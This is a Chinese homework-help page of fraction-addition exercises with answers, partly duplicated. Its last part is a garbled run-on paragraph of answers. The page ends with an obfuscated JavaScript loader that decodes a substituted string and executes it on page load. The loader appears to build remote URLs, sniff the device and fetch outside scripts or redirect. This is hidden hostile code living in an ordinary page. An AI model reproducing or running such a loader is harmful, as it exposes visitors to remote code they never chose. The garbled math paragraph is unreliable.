推荐回答(5个)
(1):4/5+1/6=?(29/30)
(2):10/1+2/17=?(172/17)
(3):12/7+11/18=?(293/126)
(4):7/3+15/7=?(94/21)
(5):5/3+1/2=?(13/6)
(6):18/17+1/12=?(233/204)
(7):13/6+3/1=?(31/6)
(8):7/16+13/8=?(33/16)
(9):15/2+1/9=?(137/18)
(10):1/2+4/3=?(11/6)
(11):11/2+2/1=?(15/2)
(12):7/4+1/10=?(37/20)
(13):11/7+5/16=?(211/112)
(14):7/1+8/17=?(127/17)
(15):14/5+7/18=?(287/90)
(16):1/1+10/11=?(21/11)
(17):10/11+1/18=?(191/198)
(18):5/8+1/3=?(23/24)
(19):15/7+1/1=?(22/7)
(20):15/11+13/10=?(293/110)
(21):2/15+13/12=?(73/60)
(22):14/11+17/15=?(397/165)
(23):11/18+1/1=?(29/18)
(24):2/5+7/6=?(47/30)
(25):1/1+11/6=?(17/6)
(26):1/6+2/1=?(13/6)
(27):5/14+5/8=?(55/56)
(28):1/17+3/8=?(59/136)
(29):11/5+15/17=?(262/85)
(30):5/4+1/5=?(29/20)
(31):4/9+15/14=?(191/126)
(32):4/3+9/5=?(47/15)
(33):11/2+1/8=?(45/8)
(34):13/16+2/9=?(149/144)
(35):5/2+17/8=?(37/8)
(36):11/6+4/1=?(35/6)
(37):16/17+1/1=?(33/17)
(38):15/13+3/4=?(99/52)
(39):15/8+1/1=?(23/8)
(40):2/3+8/7=?(38/21)
(41):13/8+1/6=?(43/24)
(42):10/11+3/5=?(83/55)
(43):7/12+5/7=?(109/84)
(44):11/18+1/15=?(61/90)
(45):15/17+17/8=?(409/136)
(46):1/6+1/1=?(7/6)
(47):17/9+2/1=?(35/9)
(48):7/12+8/3=?(13/4)
(49):2/7+2/9=?(32/63)
(50):13/9+5/6=?(41/18)
(51):3/7+8/17=?(107/119)
(52):5/3+8/9=?(23/9)
(53):1/4+11/17=?(61/68)
(54):11/3+1/1=?(14/3)
(55):11/15+8/17=?(307/255)
(56):13/8+15/4=?(43/8)
(57):4/3+5/4=?(31/12)
(58):3/4+3/17=?(63/68)
(59):8/5+10/17=?(186/85)
(60):15/16+14/9=?(359/144)
(61):1/13+18/1=?(235/13)
(62):3/4+16/15=?(109/60)
(63):1/1+17/3=?(20/3)
(64):2/15+1/1=?(17/15)
(65):12/5+3/2=?(39/10)
(66):5/2+2/1=?(9/2)
(67):15/8+13/16=?(43/16)
(68):1/8+4/9=?(41/72)
(69):8/3+15/14=?(157/42)
(70):11/4+1/1=?(15/4)
(71):5/7+6/5=?(67/35)
(72):5/8+1/6=?(19/24)
(73):3/2+5/18=?(16/9)
(74):1/1+1/3=?(4/3)
(75):11/15+1/1=?(26/15)
(76):1/9+3/10=?(37/90)
(77):2/15+11/12=?(21/20)
(78):8/9+9/4=?(113/36)
(79):5/1+4/9=?(49/9)
(80):1/3+13/6=?(5/2)
(81):13/5+7/18=?(269/90)
(82):17/6+1/9=?(53/18)
(83):6/13+1/1=?(19/13)
(84):17/16+17/7=?(391/112)
(85):1/1+6/11=?(17/11)
(86):3/4+17/12=?(13/6)
(87):3/7+2/15=?(59/105)
(88):2/1+11/18=?(47/18)
(89):14/1+17/3=?(59/3)
(90):17/18+13/3=?(95/18)
(91):3/2+6/1=?(15/2)
(92):11/4+1/2=?(13/4)
(93):11/10+18/17=?(367/170)
(94):3/1+1/16=?(49/16)
(95):15/11+15/8=?(285/88)
(96):16/11+12/17=?(404/187)
(97):13/6+17/12=?(43/12)
(98):1/1+13/10=?(23/10)
(99):17/2+17/8=?(85/8)
(100):5/1+3/14=?(73/14)

扩展资料
异分母分数相加减的原则是:
分母相同,分子直接相加减.
分母不同,先通分再加减.
通分(reduction of fractions to a common denominator)根据分数(式)的基本性质,把几个异分母分数(式)化成与原来分数(式)相等的同分母的分数(式)的过程,叫做通分。
20道异分母分数口算题。 1/3+4/9=7/9
2/5+4/3=1又20分之3
7/20-1/4=1/10
2/7-1/14=3/14
3/5-1/10=1/2
5/6+1/3=1又6分之1
2/3-1/6=1/2
1/2+3/4=1又4分之1
17/20-4/5=1/20
5/6-1/4=14/24
7/10+1/5=9/10
1/2+13/20=1又20分之3
9/10-3/4=3/20
1/4-1/5=1/20
1/3-1/6=1/6
1/2-2/5=1/10
5/8+3/4=1又8分之3
17/18-1/3=11/18
3/5-9/20=3/20
2/3-1/2=1/6
九分之4+18分之5等于18分之13九分之4-18分之5等于6分之10分之3+15分之2等于30分之13六分之5+8分之7等于1月24分之17八分之7-6分之5等于24分之一六分之5+8分之7等于1月24分之10 72分之5-8分之3等于20四分之一21分之5-10四分之三五,40二分之一36分之11-6分之1等于5分之一9-0.8-8分之1等于0.29分之1+8分之7+8分之9等于1又8分之7
):4/5+1/6=?(29/30)
(2):10/1+2/17=?(172/17)
(3):12/7+11/18=?(293/126)
(4):7/3+15/7=?(94/21)
(5):5/3+1/2=?(13/6)
(6):18/17+1/12=?(233/204)
(7):13/6+3/1=?(31/6)
(8):7/16+13/8=?(33/16)
(9):15/2+1/9=?(137/18)
(10):1/2+4/3=?(11/6)
(11):11/2+2/1=?(15/2)
(12):7/4+1/10=?(37/20)
(13):11/7+5/16=?(211/112)
(14):7/1+8/17=?(127/17)
(15):14/5+7/18=?(287/90)
(16):1/1+10/11=?(21/11)
(17):10/11+1/18=?(191/198)
(18):5/8+1/3=?(23/24)
(19):15/7+1/1=?(22/7)
(20):15/11+13/10=?(293/110)
(21):2/15+13/12=?(73/60)
(22):14/11+17/15=?(397/165)
(23):11/18+1/1=?(29/18)
(24):2/5+7/6=?(47/30)
(25):1/1+11/6=?(17/6)
(26):1/6+2/1=?(13/6)
(27):5/14+5/8=?(55/56)
(28):1/17+3/8=?(59/136)
(29):11/5+15/17=?(262/85)
(30):5/4+1/5=?(29/20)
(31):4/9+15/14=?(191/126)
(32):4/3+9/5=?(47/15)
(33):11/2+1/8=?(45/8)
(34):13/16+2/9=?(149/144)
(35):5/2+17/8=?(37/8)
(36):11/6+4/1=?(35/6)
(37):16/17+1/1=?(33/17)
(38):15/13+3/4=?(99/52)
(39):15/8+1/1=?(23/8)
(40):2/3+8/7=?(38/21)
(41):13/8+1/6=?(43/24)
(42):10/11+3/5=?(83/55)
(43):7/12+5/7=?(109/84)
(44):11/18+1/15=?(61/90)
(45):15/17+17/8=?(409/136)
(46):1/6+1/1=?(7/6)
(47):17/9+2/1=?(35/9)
(48):7/12+8/3=?(13/4)
(49):2/7+2/9=?(32/63)
(50):13/9+5/6=?(41/18)
我觉得你可以把一些题换一下,因为全部假分数感觉有点……
!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();